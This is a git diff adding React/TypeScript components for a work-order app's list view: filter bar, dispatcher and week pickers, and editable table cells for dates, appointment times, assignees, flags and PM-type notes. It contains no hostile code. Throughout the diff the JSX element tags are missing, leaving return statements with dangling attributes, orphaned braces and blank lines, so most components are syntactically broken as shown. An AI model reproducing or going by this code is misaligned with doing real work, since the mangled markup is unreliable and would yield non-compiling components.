WorkOrdersAdvancedSearchSheet({ + open, + onOpenChange, + initial, + onApply, + onClearAll, + sites, + users, + pmTypes, + vendorTechs, +}: WorkOrdersAdvancedSearchSheetProps) { + const { draft, setDraft, activeCount, toggleIn, setMany, handleClearAll, handleApply } = + useAdvancedSearchDraft({ open, initial, onApply, onClearAll, onOpenChange }); + + return ( + onOpenChange(false)} aria-label="Advanced Filters"> + Advanced Filters + +
    +
    + + + + Advanced Filters + + + {activeCount > 0 && ( + · {activeCount} active + )} +
    + onOpenChange(false)} /> +
    + + + +
    + +
    + {activeCount > 0 && ( + + {activeCount} filter set + + )} +
    + +
    +
    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/filter-bar/dispatcher-filter.tsx b/src/app/(protected)/workorders/_components/list/filter-bar/dispatcher-filter.tsx new file mode 100644 index 00000000..9db6ca98 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/filter-bar/dispatcher-filter.tsx @@ -0,0 +1,175 @@ +import { useMemo } from "react"; +import { Popover, Skeleton } from "@mui/material"; +import { ChevronDown, UserX, Users } from "lucide-react"; +import { ASSIGNEE_FILTER_UNASSIGNED } from "@/domain/work-orders/types/work-order-list"; +import type { WorkOrderUser } from "@/domain/work-orders/types/work-order"; +import { getDispatcherAvatarColor } from "@/domain/work-orders/utils/dispatcher-avatar-color"; +import { CheckboxMenuItem } from "@/components/ui/checkbox-menu-item"; +import { MenuAnchorButton } from "@/components/ui/menu-anchor-button"; +import { useMenuAnchor } from "@/hooks/use-menu-anchor"; + +type DispatcherFilterProps = { + selectedIds: Set; + onChange: (ids: Set) => void; + users: WorkOrderUser[]; + usersLoading?: boolean; + currentUserId?: string | number; +}; + +function userInitials(name: string): string { + const parts = name.trim().split(/\s+/).filter(Boolean); + if (parts.length === 0) return "?"; + if (parts.length === 1) return parts[0].slice(0, 2).toUpperCase(); + return `${parts[0][0]}${parts[parts.length - 1][0]}`.toUpperCase(); +} + +function DispatcherAvatar({ name, color }: { name: string; color: string }) { + return ( + + {userInitials(name)} + + ); +} + +export function DispatcherFilter({ + selectedIds, + onChange, + users, + usersLoading = false, + currentUserId, +}: DispatcherFilterProps) { + const { anchorEl, open, setAnchor, close } = useMenuAnchor(); + + const meId = currentUserId != null && currentUserId !== "" ? String(currentUserId) : null; + const allSelected = selectedIds.size === 0; + const meOnly = meId != null && selectedIds.size === 1 && selectedIds.has(meId); + const unassignedOnly = selectedIds.size === 1 && selectedIds.has(ASSIGNEE_FILTER_UNASSIGNED); + + const label = useMemo(() => { + if (allSelected) return "All dispatchers"; + if (meOnly) return "My WOs"; + if (unassignedOnly) return "Unassigned"; + return `${selectedIds.size} selected`; + }, [allSelected, meOnly, unassignedOnly, selectedIds.size]); + + const dispatchers = useMemo(() => { + return [...users].sort((a, b) => a.name.localeCompare(b.name)); + }, [users]); + + const toggle = (id: string) => { + const next = new Set(selectedIds); + if (next.has(id)) { + next.delete(id); + } else { + next.add(id); + } + onChange(next); + }; + + if (usersLoading && users.length === 0) { + return ( + + ); + } + + return ( + <> + + + {label} + + + + + onChange(new Set())} + /> + + {meId != null && ( + onChange(new Set([meId]))} + /> + )} + + } + className="mb-1 pb-2" + style={{ borderBottom: "1px solid var(--color-border)" }} + onClick={() => toggle(ASSIGNEE_FILTER_UNASSIGNED)} + /> + + {dispatchers.map((user) => { + const id = String(user.id); + const isMe = meId === id; + return ( + } + right={ + isMe ? me : undefined + } + onClick={() => toggle(id)} + /> + ); + })} + + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/filter-bar/week-nav.tsx b/src/app/(protected)/workorders/_components/list/filter-bar/week-nav.tsx new file mode 100644 index 00000000..a99e3a02 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/filter-bar/week-nav.tsx @@ -0,0 +1,131 @@ +import { useEffect, useMemo, useState } from "react"; + +import { ChevronLeft, ChevronRight } from "lucide-react"; + +import { NavArrowButton } from "@/components/ui/nav-arrow-button"; + +import { NavPillButton } from "@/components/ui/nav-pill-button"; + +import { + buildWeekWindow, + isFutureWeek, + isLiveWeek, +} from "@/domain/work-orders/utils/list-week-utils"; + +type WeekNavProps = { + weekMonday: string; + + onChange: (mondayIso: string) => void; +}; + +const VISIBLE_COUNT = 3; + +const WINDOW_BEFORE = 12; + +const WINDOW_AFTER = 1; + +function WeekLiveBadge() { + return ( + + Live + + ); +} + +export function WeekNav({ weekMonday, onChange }: WeekNavProps) { + const weeks = useMemo( + () => buildWeekWindow(weekMonday, WINDOW_BEFORE, WINDOW_AFTER), + + [weekMonday], + ); + + const activeIndex = useMemo( + () => weeks.findIndex((week) => week.mondayIso === weekMonday), + + [weeks, weekMonday], + ); + + const [offset, setOffset] = useState(() => Math.max(0, activeIndex >= 0 ? activeIndex - 1 : 0)); + + useEffect(() => { + if (activeIndex < 0) return; + + const maxOffset = Math.max(0, weeks.length - VISIBLE_COUNT); + + setOffset((current) => { + if (activeIndex < current) return Math.min(activeIndex, maxOffset); + + if (activeIndex > current + VISIBLE_COUNT - 1) { + return Math.min(Math.max(0, activeIndex - (VISIBLE_COUNT - 1)), maxOffset); + } + + return current; + }); + }, [activeIndex, weeks.length]); + + const visible = weeks.slice(offset, offset + VISIBLE_COUNT); + + const canGoBack = offset > 0; + + const canGoForward = offset + VISIBLE_COUNT < weeks.length; + + return ( +
    + setOffset((current) => current - 1)} + aria-label="Previous weeks" + > + + + + {visible.map((week) => { + const isActive = weekMonday === week.mondayIso; + + const isDisabled = isFutureWeek(week.mondayIso); + + const showLiveBadge = isLiveWeek(week.mondayIso); + + return ( + onChange(week.mondayIso)} + > + {week.label} + + {showLiveBadge && } + + ); + })} + + setOffset((current) => current + 1)} + aria-label="Next weeks" + > + + +
    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/filter-bar/wo-type-segment.tsx b/src/app/(protected)/workorders/_components/list/filter-bar/wo-type-segment.tsx new file mode 100644 index 00000000..3810f8ec --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/filter-bar/wo-type-segment.tsx @@ -0,0 +1,25 @@ +import { SegmentButton, SegmentGroup } from "@/components/ui/segment-control"; + +import { WO_TYPES } from "@/domain/work-orders/types/work-order-wizard"; + +import type { WorkOrderTypeFilter } from "@/domain/work-orders/types/work-order-list-filters"; + +type WoTypeSegmentProps = { + value: WorkOrderTypeFilter; + + onChange: (value: WorkOrderTypeFilter) => void; +}; + +const OPTIONS: WorkOrderTypeFilter[] = ["All", ...WO_TYPES]; + +export function WoTypeSegment({ value, onChange }: WoTypeSegmentProps) { + return ( + + {OPTIONS.map((option) => ( + onChange(option)}> + {option} + + ))} + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/filter-bar/work-orders-filter-bar.tsx b/src/app/(protected)/workorders/_components/list/filter-bar/work-orders-filter-bar.tsx new file mode 100644 index 00000000..d12819f5 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/filter-bar/work-orders-filter-bar.tsx @@ -0,0 +1,51 @@ +import type { WorkOrderUser } from "@/domain/work-orders/types/work-order"; +import type { WorkOrderTypeFilter } from "@/domain/work-orders/types/work-order-list-filters"; +import { DispatcherFilter } from "@/app/(protected)/workorders/_components/list/filter-bar/dispatcher-filter"; +import { WeekNav } from "@/app/(protected)/workorders/_components/list/filter-bar/week-nav"; +import { WoTypeSegment } from "@/app/(protected)/workorders/_components/list/filter-bar/wo-type-segment"; + +type WorkOrdersFilterBarProps = { + weekMonday: string; + onWeekChange: (mondayIso: string) => void; + dispatcherIds: Set; + onDispatcherChange: (ids: Set) => void; + typeFilter: WorkOrderTypeFilter; + onTypeChange: (value: WorkOrderTypeFilter) => void; + users: WorkOrderUser[]; + usersLoading?: boolean; + currentUserId?: string | number; + filteredCount: number; + scopeTotalCount: number; +}; + +export function WorkOrdersFilterBar({ + weekMonday, + onWeekChange, + dispatcherIds, + onDispatcherChange, + typeFilter, + onTypeChange, + users, + usersLoading = false, + currentUserId, + filteredCount, + scopeTotalCount, +}: WorkOrdersFilterBarProps) { + const resultLabel = `${filteredCount} of ${scopeTotalCount}`; + + return ( +
    + + + +
    + {resultLabel} +
    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/build-inline-draft-create-input.ts b/src/app/(protected)/workorders/_components/list/table/build-inline-draft-create-input.ts new file mode 100644 index 00000000..cc763917 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/build-inline-draft-create-input.ts @@ -0,0 +1,42 @@ +import type { LocationOption, WorkOrderUser } from "@/domain/work-orders/types/work-order"; +import type { WorkOrderTableDraft } from "@/domain/work-orders/types/work-order-table-row"; +import type { WorkOrderWizardDraft } from "@/domain/work-orders/types/work-order-wizard"; +import { resolveSiteCode } from "@/domain/work-orders/mappers/work-order-board-mapper"; + +export function buildInlineDraftCreateInput( + draft: WorkOrderTableDraft, + users: WorkOrderUser[], + sites: LocationOption[], +): WorkOrderWizardDraft { + const assignee = users.find((u) => String(u.id) === draft.dispatcherId); + const location = sites.find((s) => String(s.id) === String(draft.locationId)); + const locationName = draft.location || draft.site || location?.name || ""; + + return { + locationId: String(draft.locationId || ""), + locationName, + siteCode: location ? resolveSiteCode(location) : resolveSiteCode({ name: locationName }), + woNumber: draft.woNumber, + type: draft.type, + severity: draft.severity, + assigneeId: draft.dispatcherId, + assigneeName: assignee?.name ?? "", + scheduledOn: draft.scheduledOn, + dueDate: draft.dueDate, + pm: draft.pm, + extraServices: draft.extraServices ?? [], + pmNote: draft.serviceNotes ?? "", + vendorId: draft.vendorId || "", + vendorName: draft.company, + techPhone: draft.techPhone, + vendorNotes: "", + apptStart: draft.apptStart, + apptEnd: draft.apptEnd, + status: draft.status || "Incomplete", + pocName: draft.pocName, + pocPhone: draft.pocPhone, + pocNotes: draft.pocNotes, + scheduleWeekOnly: draft.scheduleWeekOnly, + targetWeek: draft.targetWeek || "", + }; +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/appt-time-cell.tsx b/src/app/(protected)/workorders/_components/list/table/cells/appt-time-cell.tsx new file mode 100644 index 00000000..1c9d160f --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/appt-time-cell.tsx @@ -0,0 +1,147 @@ +import { useEffect, useState } from "react"; +import { Clock } from "lucide-react"; +import { Button, Popover } from "@mui/material"; +import { Text } from "@/components/ui/text"; +import { + calcDuration, + fmt12, + formatApptRange, + formatApptTimeValue, + parseApptTime, + TIME_SLOTS, +} from "@/domain/work-orders/utils/wizard-date-utils"; +import { HoverChevron } from "./hover-chevron"; + +type ApptTimeCellProps = { + apptTime: string; + onSave: (value: string) => void; +}; + +export function ApptTimeCell({ apptTime, onSave }: ApptTimeCellProps) { + const [anchorEl, setAnchorEl] = useState(null); + const [start, setStart] = useState(() => parseApptTime(apptTime).start); + const [end, setEnd] = useState(() => parseApptTime(apptTime).end); + + useEffect(() => { + const p = parseApptTime(apptTime); + setStart(p.start); + setEnd(p.end); + }, [apptTime]); + + const parsed = parseApptTime(apptTime); + const display = parsed.start ? formatApptRange(parsed.start, parsed.end) : apptTime; + + const slotStyle = (active: boolean): React.CSSProperties => ({ + background: active ? "var(--color-primary-tint)" : "transparent", + color: active ? "var(--color-primary)" : "var(--color-text-primary)", + fontWeight: active ? 600 : 400, + }); + + const done = () => { + onSave(formatApptTimeValue(start, end)); + setAnchorEl(null); + }; + + return ( + <> + + setAnchorEl(null)} + anchorOrigin={{ vertical: "bottom", horizontal: "left" }} + onClick={(e) => e.stopPropagation()} + slotProps={{ paper: { className: "w-[264px] rounded-lg border border-border p-0" } }} + > +
    +
    + + Start + +
    + {TIME_SLOTS.map((t) => ( + + ))} +
    +
    +
    + + End (optional) + +
    + {TIME_SLOTS.filter((t) => !start || t > start).map((t) => ( + + ))} +
    +
    +
    +
    + + {start && end ? calcDuration(start, end) : start ? fmt12(start) : "—"} + + +
    +
    + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/assigned-to-cell.tsx b/src/app/(protected)/workorders/_components/list/table/cells/assigned-to-cell.tsx new file mode 100644 index 00000000..92557ea2 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/assigned-to-cell.tsx @@ -0,0 +1,99 @@ +import { useState } from "react"; +import { Check, Users } from "lucide-react"; +import { Popover } from "@mui/material"; +import type { WorkOrderUser } from "@/domain/work-orders/types/work-order"; +import { DispatcherPill } from "./dispatcher-pill"; +import { HoverChevron } from "./hover-chevron"; + +type AssignedToCellProps = { + dispatcherId: string; + users: WorkOrderUser[]; + highlight?: boolean; + onSave: (id: string, name: string) => void; +}; + +export function AssignedToCell({ dispatcherId, users, highlight, onSave }: AssignedToCellProps) { + const [anchorEl, setAnchorEl] = useState(null); + const [search, setSearch] = useState(""); + const selected = users.find((d) => String(d.id) === dispatcherId); + const filtered = search + ? users.filter((d) => d.name.toLowerCase().includes(search.toLowerCase())) + : users; + + return ( + <> + + { + setAnchorEl(null); + setSearch(""); + }} + anchorOrigin={{ vertical: "bottom", horizontal: "left" }} + onClick={(e) => e.stopPropagation()} + slotProps={{ paper: { className: "w-[212px] rounded-lg border border-border p-1.5" } }} + > +
    + setSearch(e.target.value)} + placeholder="Search dispatcher…" + className="w-full rounded border border-border bg-[var(--color-bg-surface)] px-2 py-1 text-xs text-[var(--color-text-primary)] focus:outline-none" + /> +
    +
    + {filtered.map((d) => ( + + ))} +
    +
    + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/comp-doc-cell.tsx b/src/app/(protected)/workorders/_components/list/table/cells/comp-doc-cell.tsx new file mode 100644 index 00000000..43f258c3 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/comp-doc-cell.tsx @@ -0,0 +1,72 @@ +import { Ban, FileText, Image as ImageIcon } from "lucide-react"; +import type { CompletionDocStatus } from "@/domain/work-orders/types/work-order-table-row"; +import type { WOType } from "@/domain/work-orders/types/work-order-wizard"; + +function isMediaWO(type: WOType | ""): boolean { + return type === "Emergency" || type === "Reactive"; +} + +type CompDocCellProps = { + status: CompletionDocStatus; + woType: WOType | ""; + mediaCount?: number; + /** Omit until completion-doc slice mounts CompDocDialog. */ + onOpen?: () => void; + onOpenMedia: () => void; +}; + +export function CompDocCell({ + status, + woType, + mediaCount = 0, + onOpen, + onOpenMedia, +}: CompDocCellProps) { + if (isMediaWO(woType)) { + return ( + + ); + } + + if (!onOpen) { + return null; + } + + const generated = status === "Yes"; + const notRequired = status === "NN"; + const color = generated ? "var(--color-success)" : "var(--color-text-muted)"; + const Icon = notRequired ? Ban : FileText; + + return ( + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/date-cell.tsx b/src/app/(protected)/workorders/_components/list/table/cells/date-cell.tsx new file mode 100644 index 00000000..417ffe22 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/date-cell.tsx @@ -0,0 +1,138 @@ +import { useState } from "react"; +import { CalendarDays, Calendar as CalendarIcon, ChevronDown } from "lucide-react"; +import { Popover } from "@mui/material"; +import { MiniCalendar } from "@/app/(protected)/workorders/_components/wizard/mini-calendar"; +import { WeekPicker } from "@/app/(protected)/workorders/_components/wizard/week-picker"; +import { fmtWeekOf } from "@/domain/work-orders/utils/wizard-date-utils"; +import { HighlightText } from "./highlight-text"; + +type DateCellProps = { + value: string; + q?: string; + highlight?: boolean; + onSave: (date: string) => void; + allowWeekMode?: boolean; + targetWeek?: string; + onSaveWeek?: (weekStart: string) => void; + defaultMode?: "week" | "date"; +}; + +export function DateCell({ + value, + q, + highlight, + onSave, + allowWeekMode, + targetWeek = "", + onSaveWeek, + defaultMode, +}: DateCellProps) { + const [anchorEl, setAnchorEl] = useState(null); + const [cellMode, setCellMode] = useState<"week" | "date">( + allowWeekMode ? (defaultMode ?? (!value && targetWeek ? "week" : "date")) : "date", + ); + const showWeek = allowWeekMode && !value && !!targetWeek; + + return ( + <> + + setAnchorEl(null)} + anchorOrigin={{ vertical: "bottom", horizontal: "left" }} + onClick={(e) => e.stopPropagation()} + slotProps={{ paper: { className: "rounded-lg border border-border p-3" } }} + > + {Boolean(allowWeekMode) && ( +
    + {(["week", "date"] as const).map((m) => { + const active = cellMode === m; + return ( + + ); + })} +
    + )} + {allowWeekMode && cellMode === "week" ? ( + { + onSaveWeek?.(mon); + setAnchorEl(null); + }} + /> + ) : ( + { + onSave(d); + setAnchorEl(null); + }} + /> + )} +
    + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/dialog-field-label.tsx b/src/app/(protected)/workorders/_components/list/table/cells/dialog-field-label.tsx new file mode 100644 index 00000000..55ebe729 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/dialog-field-label.tsx @@ -0,0 +1,12 @@ +import type { ReactNode } from "react"; + +export function FieldLabel({ children }: { children: ReactNode }) { + return ( + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/dispatcher-pill.tsx b/src/app/(protected)/workorders/_components/list/table/cells/dispatcher-pill.tsx new file mode 100644 index 00000000..d5db15c6 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/dispatcher-pill.tsx @@ -0,0 +1,40 @@ +import type { WorkOrderUser } from "@/domain/work-orders/types/work-order"; + +import { getDispatcherAvatarColor } from "@/domain/work-orders/utils/dispatcher-avatar-color"; + +import { HighlightText } from "./highlight-text"; + +type DispatcherPillProps = { + user: WorkOrderUser; + + q?: string; +}; + +export function DispatcherPill({ user, q }: DispatcherPillProps) { + const color = getDispatcherAvatarColor(user); + + return ( + + + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/editable-wo-number-cell.tsx b/src/app/(protected)/workorders/_components/list/table/cells/editable-wo-number-cell.tsx new file mode 100644 index 00000000..ce4b3462 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/editable-wo-number-cell.tsx @@ -0,0 +1,212 @@ +import { useEffect, useState } from "react"; + +import { toast } from "react-toastify"; + +import type { WorkOrderTableRow } from "@/domain/work-orders/types/work-order-table-row"; + +import { HighlightText } from "./highlight-text"; + +type EditableWONumberCellProps = { + value: string; + + rescheduleCount: number; + + carriedOver?: number; + + q?: string; + + currentId: string | number; + + allOrders: WorkOrderTableRow[]; + + onSave: (v: string) => void; + + onDuplicateFound?: (existing: WorkOrderTableRow) => void; +}; + +function CounterPill({ label, count }: { label: string; count: number }) { + if (count < 2) { + return null; + } + + return ( + + {count} + + ); +} + +export function EditableWONumberCell({ + value, + + rescheduleCount, + + carriedOver = 0, + + q, + + currentId, + + allOrders, + + onSave, + + onDuplicateFound, +}: EditableWONumberCellProps) { + const [editing, setEditing] = useState(false); + + const [draft, setDraft] = useState(value); + + useEffect(() => { + if (!editing) { + setDraft(value); + } + }, [value, editing]); + + const findDuplicate = (d: string) => + allOrders.find((o) => o.woNumber === d && String(o.id) !== String(currentId)); + + const commit = () => { + if (draft === value) { + setEditing(false); + + return; + } + + if (draft.length !== 11) { + toast("Work order number must be exactly 11 digits"); + + return; + } + + const duplicate = findDuplicate(draft); + + if (duplicate) { + onDuplicateFound?.(duplicate); + + setDraft(value); + + setEditing(false); + + return; + } + + onSave(draft); + + setEditing(false); + }; + + const cancel = () => { + setDraft(value); + + setEditing(false); + }; + + const handleBlur = () => { + if (draft !== value && draft.length === 11) { + const duplicate = findDuplicate(draft); + + if (duplicate) { + onDuplicateFound?.(duplicate); + + setDraft(value); + + setEditing(false); + + return; + } + + onSave(draft); + } + + setEditing(false); + }; + + const invalid = editing && draft.length > 0 && draft.length !== 11; + + return ( +
    + {editing ? ( + setDraft(e.target.value.replace(/\D/g, "").slice(0, 11))} + onFocus={(e) => e.target.select()} + onClick={(e) => e.stopPropagation()} + onKeyDown={(e) => { + if (e.key === "Enter") { + e.preventDefault(); + + commit(); + } else if (e.key === "Escape") { + e.preventDefault(); + + cancel(); + } + }} + onBlur={handleBlur} + placeholder="12345678901" + aria-label="Work order number" + aria-invalid={invalid} + className="font-mono focus:outline-none" + style={{ + fontSize: 13, + + fontWeight: 700, + + color: "var(--foreground)", + + background: "var(--color-bg-surface)", + + border: `1px solid ${invalid ? "var(--color-destructive)" : "var(--color-ring)"}`, + + boxShadow: `0 0 0 1px ${invalid ? "var(--color-destructive)" : "var(--color-accent)"}`, + + borderRadius: 4, + + padding: "2px 4px", + + width: 120, + }} + /> + ) : ( + { + e.stopPropagation(); + + setEditing(true); + }} + className="inline-block cursor-text font-mono transition-colors hover:bg-[var(--color-bg-muted)]" + style={{ + fontSize: 13, + + fontWeight: 700, + + color: value ? "var(--foreground)" : "var(--color-text-muted)", + + borderRadius: 4, + + padding: "2px 4px", + }} + > + {value ? : "-"} + + )} + + + + +
    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/flag-cell.tsx b/src/app/(protected)/workorders/_components/list/table/cells/flag-cell.tsx new file mode 100644 index 00000000..05c9460a --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/flag-cell.tsx @@ -0,0 +1,89 @@ +import { useState } from "react"; +import { Flag, X } from "lucide-react"; +import { Popover } from "@mui/material"; +import { FLAG_COLORS } from "@/domain/work-orders/flag-colors"; + +type FlagCellProps = { + color?: string | null; + disabled?: boolean; + onChange: (color: string | null) => void; +}; + +export function FlagCell({ color, disabled, onChange }: FlagCellProps) { + const [anchorEl, setAnchorEl] = useState(null); + + if (disabled) { + return ( + + + + ); + } + + return ( + <> + + setAnchorEl(null)} + anchorOrigin={{ vertical: "bottom", horizontal: "left" }} + onClick={(e) => e.stopPropagation()} + slotProps={{ paper: { className: "rounded-lg border border-border p-2" } }} + > +
    + {FLAG_COLORS.map((c) => ( + + ))} +
    + +
    + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/highlight-text.tsx b/src/app/(protected)/workorders/_components/list/table/cells/highlight-text.tsx new file mode 100644 index 00000000..95b10c15 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/highlight-text.tsx @@ -0,0 +1,26 @@ +type HighlightTextProps = { + text: string; + q?: string; +}; + +export function HighlightText({ text, q }: HighlightTextProps) { + if (!q?.trim() || !text) { + return <>{text}; + } + const query = q.trim(); + const lower = text.toLowerCase(); + const idx = lower.indexOf(query.toLowerCase()); + if (idx < 0) { + return <>{text}; + } + const before = text.slice(0, idx); + const match = text.slice(idx, idx + query.length); + const after = text.slice(idx + query.length); + return ( + <> + {before} + {match} + {after} + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/hover-chevron.tsx b/src/app/(protected)/workorders/_components/list/table/cells/hover-chevron.tsx new file mode 100644 index 00000000..69227086 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/hover-chevron.tsx @@ -0,0 +1,11 @@ +import { ChevronDown } from "lucide-react"; + +export function HoverChevron() { + return ( + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/pm-type-cell.tsx b/src/app/(protected)/workorders/_components/list/table/cells/pm-type-cell.tsx new file mode 100644 index 00000000..58dbf80f --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/pm-type-cell.tsx @@ -0,0 +1,135 @@ +import { useState } from "react"; +import { + ServiceNotesDialog, + type ServiceNotesDetails, +} from "@/app/(protected)/workorders/_components/list/table/cells/service-notes-dialog"; +import { HighlightText } from "@/app/(protected)/workorders/_components/list/table/cells/highlight-text"; +import { HoverChevron } from "@/app/(protected)/workorders/_components/list/table/cells/hover-chevron"; +import { PmTypeIcon } from "@/app/(protected)/workorders/_components/list/table/pm-type-icons"; +import { PmTypeDetailsTrigger } from "@/app/(protected)/workorders/_components/list/table/cells/pm-type-details-trigger"; +import { PmTypePickerPopover } from "@/app/(protected)/workorders/_components/list/table/cells/pm-type-picker-popover"; +import { + hasServiceNotesDetails, + truncateServiceNotesPreview, +} from "@/domain/work-orders/utils/service-notes-ui"; + +type PMTypeCellProps = { + value: string; + pmTypes: string[]; + q?: string; + onSave: (v: string) => void; + serviceNotes?: string; + extraServices?: string[]; + woNumber?: string; + onSaveDetails?: (details: ServiceNotesDetails) => void; +}; + +export function PMTypeCell({ + value, + pmTypes, + q, + onSave, + serviceNotes = "", + extraServices = [], + woNumber, + onSaveDetails, +}: PMTypeCellProps) { + const [anchorEl, setAnchorEl] = useState(null); + const [search, setSearch] = useState(""); + const [modalOpen, setModalOpen] = useState(false); + + const filtered = search + ? pmTypes.filter((p) => p.toLowerCase().includes(search.toLowerCase())) + : pmTypes; + + const extras = extraServices ?? []; + const hasDetails = hasServiceNotesDetails(serviceNotes, extras); + const notePreview = serviceNotes?.trim() ? truncateServiceNotesPreview(serviceNotes) : ""; + + const closePopover = () => { + setAnchorEl(null); + setSearch(""); + }; + + const modal = + onSaveDetails != null ? ( + + ) : null; + + if (hasDetails && onSaveDetails) { + return ( + <> + setModalOpen(true)} + /> + {modal} + + ); + } + + return ( + <> + + + { + onSave(pm); + closePopover(); + }} + onAddDetails={() => { + closePopover(); + setModalOpen(true); + }} + /> + {modal} + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/pm-type-details-trigger.tsx b/src/app/(protected)/workorders/_components/list/table/cells/pm-type-details-trigger.tsx new file mode 100644 index 00000000..4595a6b9 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/pm-type-details-trigger.tsx @@ -0,0 +1,71 @@ +import { HighlightText } from "@/app/(protected)/workorders/_components/list/table/cells/highlight-text"; +import { PmTypeIcon } from "@/app/(protected)/workorders/_components/list/table/pm-type-icons"; + +type PmTypeDetailsTriggerProps = { + value: string; + q?: string; + notePreview: string; + extrasCount: number; + onOpenDetails: () => void; +}; + +export function PmTypeDetailsTrigger({ + value, + q, + notePreview, + extrasCount, + onOpenDetails, +}: PmTypeDetailsTriggerProps) { + return ( + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/pm-type-picker-popover.tsx b/src/app/(protected)/workorders/_components/list/table/cells/pm-type-picker-popover.tsx new file mode 100644 index 00000000..1df4a262 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/pm-type-picker-popover.tsx @@ -0,0 +1,84 @@ +import { Check, Plus } from "lucide-react"; +import { Popover } from "@mui/material"; +import { PmTypeIcon } from "@/app/(protected)/workorders/_components/list/table/pm-type-icons"; + +type PmTypePickerPopoverProps = { + anchorEl: HTMLElement | null; + search: string; + filtered: string[]; + value: string; + showAddDetails: boolean; + onSearchChange: (value: string) => void; + onClose: () => void; + onPick: (pm: string) => void; + onAddDetails: () => void; +}; + +export function PmTypePickerPopover({ + anchorEl, + search, + filtered, + value, + showAddDetails, + onSearchChange, + onClose, + onPick, + onAddDetails, +}: PmTypePickerPopoverProps) { + return ( + e.stopPropagation()} + slotProps={{ paper: { className: "w-[244px] rounded-lg border border-border p-1.5" } }} + > +
    + onSearchChange(e.target.value)} + placeholder="Search PM type…" + className="w-full rounded border border-border bg-[var(--color-bg-surface)] px-2 py-1 text-xs text-[var(--color-text-primary)] focus:outline-none" + /> +
    + +
    + {showAddDetails && ( + + )} + {filtered.map((pm) => ( + + ))} +
    +
    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/service-notes-dialog.tsx b/src/app/(protected)/workorders/_components/list/table/cells/service-notes-dialog.tsx new file mode 100644 index 00000000..c0166809 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/service-notes-dialog.tsx @@ -0,0 +1,115 @@ +import { useEffect, useState } from "react"; +import { Wrench } from "lucide-react"; +import { Dialog, DialogContent, DialogTitle } from "@mui/material"; +import { WizardServiceNotesFields } from "@/app/(protected)/workorders/_components/wizard/wizard-service-notes-fields"; +import { Button } from "@/components/ui/button"; +import { dialogBlurBackdropSlotProps } from "@/components/ui/dialog-blur-backdrop"; + +export type ServiceNotesDetails = { + pm: string; + extraServices: string[]; + serviceNotes: string; +}; + +type ServiceNotesDialogProps = { + open: boolean; + onOpenChange: (open: boolean) => void; + pm: string; + extraServices: string[]; + serviceNotes: string; + woNumber?: string; + pmTypes: string[]; + onSave: (details: ServiceNotesDetails) => void; +}; + +export function ServiceNotesDialog({ + open, + onOpenChange, + pm, + extraServices, + serviceNotes, + woNumber, + pmTypes, + onSave, +}: ServiceNotesDialogProps) { + const [sel, setSel] = useState([]); + const [note, setNote] = useState(""); + const [search, setSearch] = useState(""); + + useEffect(() => { + if (!open) { + return; + } + setSel([pm, ...(extraServices ?? [])].filter((p, i, a) => !!p && a.indexOf(p) === i)); + setNote(serviceNotes ?? ""); + setSearch(""); + }, [open, pm, extraServices, serviceNotes]); + + const toggle = (value: string) => { + setSel((cur) => (cur.includes(value) ? cur.filter((x) => x !== value) : [...cur, value])); + }; + + const services = pmTypes.map((value) => ({ id: value, value })); + + return ( + onOpenChange(false)} + maxWidth="sm" + fullWidth + slotProps={dialogBlurBackdropSlotProps} + > + + + Service & Notes + {Boolean(woNumber) && ( + + #{woNumber} + + )} + + e.stopPropagation()} + style={{ paddingTop: 8 }} + > + +
    + + +
    +
    +
